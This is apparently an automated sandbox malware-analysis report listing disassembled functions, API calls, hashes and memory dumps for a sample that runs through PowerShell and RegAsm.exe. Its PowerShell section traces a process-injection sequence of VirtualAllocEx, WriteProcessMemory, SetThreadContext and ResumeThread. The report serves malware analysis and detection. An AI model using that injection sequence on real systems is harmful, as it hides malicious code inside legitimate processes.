Instruction Fuzzy Hash: 22F08970602A21AFC6306F50FE09A9B7F68FB45B52B51053AF445B11ACCB345C91CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040557F
CallWindowProcW.USER32(?,?,?,?), ref: 004055D0

Part of subcall function 00404522: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404534

Strings

, xrefs: 00405560

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction ID: 994decb8795c597c60d879b60f38f30bda4d2919c1ffc13ce94f3a2918c86729
Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction Fuzzy Hash: 1C01717120060CBFEF219F11DD84A9B3B67EB84794F144037FA41761D5C7398D529A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403B94 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,756F3420,00000000,C:\Users\user\AppData\Local\Temp\,00403B6C,00403A82,?,?,00000008,0000000A,0000000C), ref: 00403BAE
GlobalFree.KERNEL32(?), ref: 00403BB5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B94

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-1881609536
Opcode ID: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction ID: cb28855b84c3abb27e6c937247341fa4f051846acd49e0d4b6103447305c23c4
Opcode Fuzzy Hash: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction Fuzzy Hash: 5DE0C23362083097C6311F55EE04B1A7778AF89B2AF01402AEC407B2618B74AC538FCC

Uniqueness

Uniqueness Score: -1.00%

Function 00405FAC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBC
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FD4
CharNextA.USER32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FE5
lstrlenA.KERNEL32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FEE

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: e9567a821587a5f0376c4e2be66d4cfc8c6f540c5076303c4651ac02cb4e93c6
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: E1F09631105519FFC7029FA5DE00D9FBBA8EF05350B2540B9F840F7250D678DE01AB69

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 5304, Parent PID: 5512COMMON

Executed Functions

Function 052929F0 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1256026898.0000000005290000.00000040.00000800.00020000.00000000.sdmp, Offset: 05290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5290000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 043d888703e67fce95744267621253c8af24cb66d144e089dfe4e849880f3e96
Instruction ID: ee96323680093097d2a2a12a3061b10aeb506cfab5dd8615090a4d97e61d9b60
Opcode Fuzzy Hash: 043d888703e67fce95744267621253c8af24cb66d144e089dfe4e849880f3e96
Instruction Fuzzy Hash: 52917A75A04209EFCB19CF58C494ABAFBB5FF48310B248599D816AB365C735EC41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05292B00 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1256026898.0000000005290000.00000040.00000800.00020000.00000000.sdmp, Offset: 05290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5290000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54e9cb627250130aa1912e89ab06d79e3d815a1611eb79ebb0c3af996f061288
Instruction ID: c39e3a1c9c853f7a48b522e9df68caaa48bad690808241f979a6a62304959a73
Opcode Fuzzy Hash: 54e9cb627250130aa1912e89ab06d79e3d815a1611eb79ebb0c3af996f061288
Instruction Fuzzy Hash: B8413775A10105EFCB09CF58C598EBAFBB5FF48310B158199D816AB364C732EC51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0330D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1255312316.000000000330D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0330D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_330d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9956989966c798cfb28ff6131593a057c41e5d2781713d15077462570862025a
Instruction ID: 0a4e43fd2397a5a8fa3dd08017c496918e13b37045defce8ba0738f344fc0a2b
Opcode Fuzzy Hash: 9956989966c798cfb28ff6131593a057c41e5d2781713d15077462570862025a
Instruction Fuzzy Hash: A001DF71405300AAE720CAA9CEC4B67BFDCEF41320F08C46AEC4C0A686C27C9845CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0330D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1255312316.000000000330D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0330D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_330d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 768860762a8c0e9d77ca288674042d83a073ee01ed229d863b8ee89937f0b518
Instruction ID: 028f78d0899f78f4f8de1c64b396f54699d6469686ab5cf71e83cddb75759faf
Opcode Fuzzy Hash: 768860762a8c0e9d77ca288674042d83a073ee01ed229d863b8ee89937f0b518
Instruction Fuzzy Hash: BB012D7240E3C09ED7128B258D94A56BFB4EF43224F1D85CBD8888F1A7C2699848C772

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7252, Parent PID: 5512COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 07603E86 Relevance: 6.2, Strings: 4, Instructions: 1184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o_q, xrefs: 07604005
(o_q, xrefs: 07604015
tP_q, xrefs: 07603F7D
tP_q, xrefs: 07603F89

Memory Dump Source

Source File: 00000006.00000002.1343828157.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: (o_q$(o_q$tP_q$tP_q
API String ID: 0-2969259045
Opcode ID: 23e2de5089d1dc7fae4e629715e6776bbc4a38a502153141f81d0e84042e406e
Instruction ID: 235a4c102e2662802807042d3c116cd58c621f7c8d9720c9bc98e79248552453
Opcode Fuzzy Hash: 23e2de5089d1dc7fae4e629715e6776bbc4a38a502153141f81d0e84042e406e
Instruction Fuzzy Hash: 2961C174B442469FCB288F29C844B6BBBA2BF86301F18889AE5169F3D5CB31DC45C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 07603918 Relevance: 5.3, Strings: 4, Instructions: 262
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'_q, xrefs: 07603B0E
tP_q, xrefs: 076039C7
4'_q, xrefs: 07603B1A
tP_q, xrefs: 076039BB

Memory Dump Source

Source File: 00000006.00000002.1343828157.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'_q$4'_q$tP_q$tP_q
API String ID: 0-1164269219
Opcode ID: ac582c06efe31a5a68ef4b2578cf3ae7061cf7d7e1e965b78017c5cb841fbb88
Instruction ID: ea94f102a09f5b27eca2d82564386d5ab096afbb00598a3b4868878ad9d0f498
Opcode Fuzzy Hash: ac582c06efe31a5a68ef4b2578cf3ae7061cf7d7e1e965b78017c5cb841fbb88
Instruction Fuzzy Hash: 608136B1B043059FCB189B7A88506ABBBE1EF86226F1480AED446CB395DB31CC45C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00DCFDF0 Relevance: 1.6, APIs: 1, Instructions: 119
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00DCFECB

Memory Dump Source

Source File: 00000006.00000002.1330055163.0000000000DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_dc0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 90a51d7eb38d3ed8963ccb5e3ef52c79b0a936f18c1909ec6d18a20e95d77f23
Instruction ID: f49375af15a2575fde869d0db1a36bc5ac31b50c429f0bf47f4c015e87374ca0
Opcode Fuzzy Hash: 90a51d7eb38d3ed8963ccb5e3ef52c79b0a936f18c1909ec6d18a20e95d77f23
Instruction Fuzzy Hash: 0441B8B5D012589FCF10CFA9D984AEEFBF1BB49310F24942AE819B7210C335AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00DCFDF8 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00DCFECB

Memory Dump Source

Source File: 00000006.00000002.1330055163.0000000000DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_dc0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 77013719b0f2a404889b3e25ac5de73334f3bcbbafad494a8ad368ae3cf1395f
Instruction ID: 6f54f4033f400ee097f975cbb6ce6f4e42af39f1038b9417f92350de3cb807de
Opcode Fuzzy Hash: 77013719b0f2a404889b3e25ac5de73334f3bcbbafad494a8ad368ae3cf1395f
Instruction Fuzzy Hash: 1041B8B5D012589FCF10CFA9D984AEEFBF1BB49310F24942AE819B7210D335AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00DCFCD1 Relevance: 1.6, APIs: 1, Instructions: 104
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00DCFD82

Memory Dump Source

Source File: 00000006.00000002.1330055163.0000000000DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_dc0000_powershell.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5995c5f702474b85aff88d3becb680c2d33f2ebfff63359fab23a999ad248ebc
Instruction ID: 57fef7f3c2d5fe306b30dd0ffdf384ab2a6adddd7e9f9c08d9b936e2f9850c26
Opcode Fuzzy Hash: 5995c5f702474b85aff88d3becb680c2d33f2ebfff63359fab23a999ad248ebc
Instruction Fuzzy Hash: D131DAB8D042589FCF10CFA9D980ADEFBB1BB09320F14942AE815B7300C735A946CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00DCFCD8 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00DCFD82

Memory Dump Source

Source File: 00000006.00000002.1330055163.0000000000DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_dc0000_powershell.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b90b30e33641328a692586c3da5bc15a8e128e4096a61260c98a3b65a7510cf7
Instruction ID: a59d6ac240bb3fec4bb1bda3726b029351d0fa26c78b62e835e5ba194704540e
Opcode Fuzzy Hash: b90b30e33641328a692586c3da5bc15a8e128e4096a61260c98a3b65a7510cf7
Instruction Fuzzy Hash: 0E3199B9D042589FCF10CFA9D980ADEFBB5BB49310F14942AE819B7310D735A946CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00DCFBA9 Relevance: 1.6, APIs: 1, Instructions: 95
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00DCFC5F

Memory Dump Source

Source File: 00000006.00000002.1330055163.0000000000DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_dc0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 11c8e8460eed6be5e1b5dda8ce455cfa4563e953460ba8f24ce2a3007078ea89
Instruction ID: 410b617511b1c01bd0d0ed5da3b857d0f1dfeceaa17b7c35cba6654b459c5d32
Opcode Fuzzy Hash: 11c8e8460eed6be5e1b5dda8ce455cfa4563e953460ba8f24ce2a3007078ea89
Instruction Fuzzy Hash: 3F41CDB5D012589FCB10CFA9D984AEEBBF1BF49310F14802AE409B7200C7789945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00DCFBB0 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00DCFC5F

Memory Dump Source

Source File: 00000006.00000002.1330055163.0000000000DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_dc0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6012fe7e249dd0d7d327eadb7783af658cf9f6a2b583b6a184def330fb3e3562
Instruction ID: 3c8d6c6b583e662536454971def6d2c3c4e03bb73b3e8a970625f9eb6e18d1cb
Opcode Fuzzy Hash: 6012fe7e249dd0d7d327eadb7783af658cf9f6a2b583b6a184def330fb3e3562
Instruction Fuzzy Hash: 8631EEB5D012589FCB10CFA9D984AEEFBF1BF48310F24802AE409B7200C738A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00DCFAB9 Relevance: 1.6, APIs: 1, Instructions: 77
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 00DCFB3E

Memory Dump Source

Source File: 00000006.00000002.1330055163.0000000000DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_dc0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 73242b1ca5b09ecc056b829677d7a2993cafaa58ed95c2bc26939921f5bb70de
Instruction ID: afade377f36e8c8a3d7df80bd243118f274b14f277867e47f49e813ac7c67757
Opcode Fuzzy Hash: 73242b1ca5b09ecc056b829677d7a2993cafaa58ed95c2bc26939921f5bb70de
Instruction Fuzzy Hash: AB31CCB5D012199FCB14CFA9E985AEEFBB5BF49320F14942AE419B7300C735A845CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00DCFAC0 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 00DCFB3E

Memory Dump Source

Source File: 00000006.00000002.1330055163.0000000000DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_dc0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 61040b110412e92f33e832dfad18c89250c17e45addc4f0c860c70c19106cc35
Instruction ID: 07d2e7ad088989e9e25ed1b43dbc0f4e8153b2ecf61a64c4421de2f1de575a7e
Opcode Fuzzy Hash: 61040b110412e92f33e832dfad18c89250c17e45addc4f0c860c70c19106cc35
Instruction Fuzzy Hash: BD31CAB4D012189FCB14CFA9D980AEEFBB5AB49320F14842AE819B7300C735A805CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 076038FA Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tP_q, xrefs: 076039BB

Memory Dump Source

Source File: 00000006.00000002.1343828157.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: tP_q
API String ID: 0-3011823190
Opcode ID: f1c100faf8fe42ae6546724ded030fc09b9678b12d3d6a64265391ffe140ce28
Instruction ID: b3d45274f7e8399446d111deffb8687458df26863b0df0cde6bc415db7f5fd1a
Opcode Fuzzy Hash: f1c100faf8fe42ae6546724ded030fc09b9678b12d3d6a64265391ffe140ce28
Instruction Fuzzy Hash: 392126B0644340AFC7198B76C844B67BFE1AB86321F0884AAE4458F3D2EA318C45C3E1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1329817832.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d5d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef10bb28e7cd36b00db7bca62dcd45cd512b80188e8a6eabba1e8d910098d537
Instruction ID: f8056667b6202c363cff105fc71cd7169179b95ee2e547c288f4dedc11383999
Opcode Fuzzy Hash: ef10bb28e7cd36b00db7bca62dcd45cd512b80188e8a6eabba1e8d910098d537
Instruction Fuzzy Hash: 58012B710053009ADB308B1DCD84B67BFD8EF51322F1CC419EC494B2C6C279D849C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1329817832.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d5d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e2b7e27ec6736f9746f5a7cbe51f9b33db3397013d9d16fa66f3c799495e74f
Instruction ID: c578caded7fcbbe9cd38c2c31e22cbf46d61dde006c6810e14f1e64b37476941
Opcode Fuzzy Hash: 7e2b7e27ec6736f9746f5a7cbe51f9b33db3397013d9d16fa66f3c799495e74f
Instruction Fuzzy Hash: 1201406100E3C05ED7228B258C94B62BFB8EF53225F1D85DBDC888F1E7C2695849C772

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07601F30 Relevance: 6.4, Strings: 5, Instructions: 184COMMON

Download Yara Rule

Strings

tP_q, xrefs: 0760202F
Te_q, xrefs: 07601F73
Te_q, xrefs: 07602076
tP_q, xrefs: 0760203B
Te_q, xrefs: 07602086

Memory Dump Source

Source File: 00000006.00000002.1343828157.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: Te_q$Te_q$Te_q$tP_q$tP_q
API String ID: 0-1239484685
Opcode ID: fa1a2a4985fa09fccf03e727fc1e19a998f302acc2768c2e18723c2661f8b6b5
Instruction ID: fe94c725a5fca17c5b196f7d85949882662276f77db92bc518a2507322e98ff3
Opcode Fuzzy Hash: fa1a2a4985fa09fccf03e727fc1e19a998f302acc2768c2e18723c2661f8b6b5
Instruction Fuzzy Hash: 035127B07402099FCB189F68C45866BBBE2BF85314F28856AE9078F390DB71DC45CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 07602F6D Relevance: 6.3, Strings: 5, Instructions: 98COMMON

Download Yara Rule

Strings

Te_q, xrefs: 07602FAD
Te_q, xrefs: 07602FE2
4'_q, xrefs: 07603008
4'_q, xrefs: 07603014
Te_q, xrefs: 07602FEE

Memory Dump Source

Source File: 00000006.00000002.1343828157.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'_q$4'_q$Te_q$Te_q$Te_q
API String ID: 0-1613500731
Opcode ID: 44a81e013013d9677a6dc212c9a9235400752e9c7401cf2241cd2f7de6d1269b
Instruction ID: 5ba93beb41eeb1c924e8db98c89aa7ca6fdcee9e181488683e4691f6067eb11b
Opcode Fuzzy Hash: 44a81e013013d9677a6dc212c9a9235400752e9c7401cf2241cd2f7de6d1269b
Instruction Fuzzy Hash: 8231F6B2B452078FCB1D4A3A845816BF796BFC2215B28846FD403C73D9DE31C855C391

Uniqueness

Uniqueness Score: -1.00%

Function 0760139C Relevance: 6.3, Strings: 5, Instructions: 85COMMON

Download Yara Rule

Strings

$_q, xrefs: 076013D3
$_q, xrefs: 076013EF
4'_q, xrefs: 07601414
4'_q, xrefs: 07601420
$_q, xrefs: 076013FB

Memory Dump Source

Source File: 00000006.00000002.1343828157.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'_q$4'_q$$_q$$_q$$_q
API String ID: 0-4191971291
Opcode ID: 719ec88e62733c3113c549da360bbf9311dba4bf7c8b4a3a0b5b77e23481c688
Instruction ID: e3b492f429b3ceaf0c0beab287d8a93e4720963d373e143e48bb3ea9250f3e28
Opcode Fuzzy Hash: 719ec88e62733c3113c549da360bbf9311dba4bf7c8b4a3a0b5b77e23481c688
Instruction Fuzzy Hash: AA21B1B274430B8BCB2D467994101AFB7A5ABD3315B24487BC443876E5EA35C856C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 07600E52 Relevance: 5.1, Strings: 4, Instructions: 53COMMON

Download Yara Rule

Strings

$_q, xrefs: 07600EA6
4'_q, xrefs: 07600EBB
4'_q, xrefs: 07600EC7
$_q, xrefs: 07600E9A

Memory Dump Source

Source File: 00000006.00000002.1343828157.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'_q$4'_q$$_q$$_q
API String ID: 0-1173716036
Opcode ID: 42e6de53ae83ed6226b59155b2bc99dc24a164fc4ee95a4ebb19bd89c05eb64a
Instruction ID: cecd9ca299c1ed27b02efb4fd58de27d5b7b6269538c169cb41a7a12589cecfc
Opcode Fuzzy Hash: 42e6de53ae83ed6226b59155b2bc99dc24a164fc4ee95a4ebb19bd89c05eb64a
Instruction Fuzzy Hash: E901F7A174E3991FC72F127818205A3AFB59FC3510329459BD081DB7D7C8648D4A83F3

Uniqueness

Uniqueness Score: -1.00%

Function 07602245 Relevance: 5.0, Strings: 4, Instructions: 35COMMON

Download Yara Rule

Strings

4'_q, xrefs: 0760228D
4'_q, xrefs: 07602281
XX_q, xrefs: 07602269
XX_q, xrefs: 0760225D

Memory Dump Source

Source File: 00000006.00000002.1343828157.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'_q$4'_q$XX_q$XX_q
API String ID: 0-380796319
Opcode ID: 985485ac2c510c242a04b34f30eb892026126ebdf2020f2490d5b4a71ac9d43d
Instruction ID: 48561102499db5f2fc6ccd80c7124b4d429c92f6e0a0940ac63b31c69c65fd5a
Opcode Fuzzy Hash: 985485ac2c510c242a04b34f30eb892026126ebdf2020f2490d5b4a71ac9d43d
Instruction Fuzzy Hash: 72F059717481478FCB1D5AF8083819AAB92FF89A30F34095FD4028B3D1CB208D12C7C2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 7696, Parent PID: 7252COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 00415745 Relevance: 63.2, APIs: 34, Strings: 2, Instructions: 152
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00415677), ref: 0041574A
GetProcAddress.KERNEL32(00000000), ref: 00415764
GetProcAddress.KERNEL32 ref: 0041578E
GetProcAddress.KERNEL32 ref: 004157A5
GetProcAddress.KERNEL32 ref: 004157BC
GetProcAddress.KERNEL32 ref: 004157D3
GetProcAddress.KERNEL32 ref: 004157EA
GetProcAddress.KERNEL32 ref: 00415801
GetProcAddress.KERNEL32 ref: 00415818
GetProcAddress.KERNEL32 ref: 0041582F
GetProcAddress.KERNEL32 ref: 00415846
GetProcAddress.KERNEL32 ref: 0041585D
GetProcAddress.KERNEL32 ref: 00415874
GetProcAddress.KERNEL32 ref: 0041588B
GetProcAddress.KERNEL32 ref: 004158A2
GetProcAddress.KERNEL32 ref: 004158B9
GetProcAddress.KERNEL32 ref: 004158D0
GetProcAddress.KERNEL32 ref: 004158E7
GetProcAddress.KERNEL32 ref: 004158FE
GetProcAddress.KERNEL32 ref: 00415915
GetProcAddress.KERNEL32 ref: 0041592C
GetProcAddress.KERNEL32 ref: 00415943
LoadLibraryA.KERNEL32 ref: 00415954
LoadLibraryA.KERNEL32 ref: 00415965
LoadLibraryA.KERNEL32 ref: 00415976
LoadLibraryA.KERNEL32 ref: 00415987
LoadLibraryA.KERNEL32 ref: 00415998
GetProcAddress.KERNEL32(76A70000), ref: 004159B3
GetProcAddress.KERNEL32(76430000), ref: 004159CE
GetProcAddress.KERNEL32 ref: 004159E5
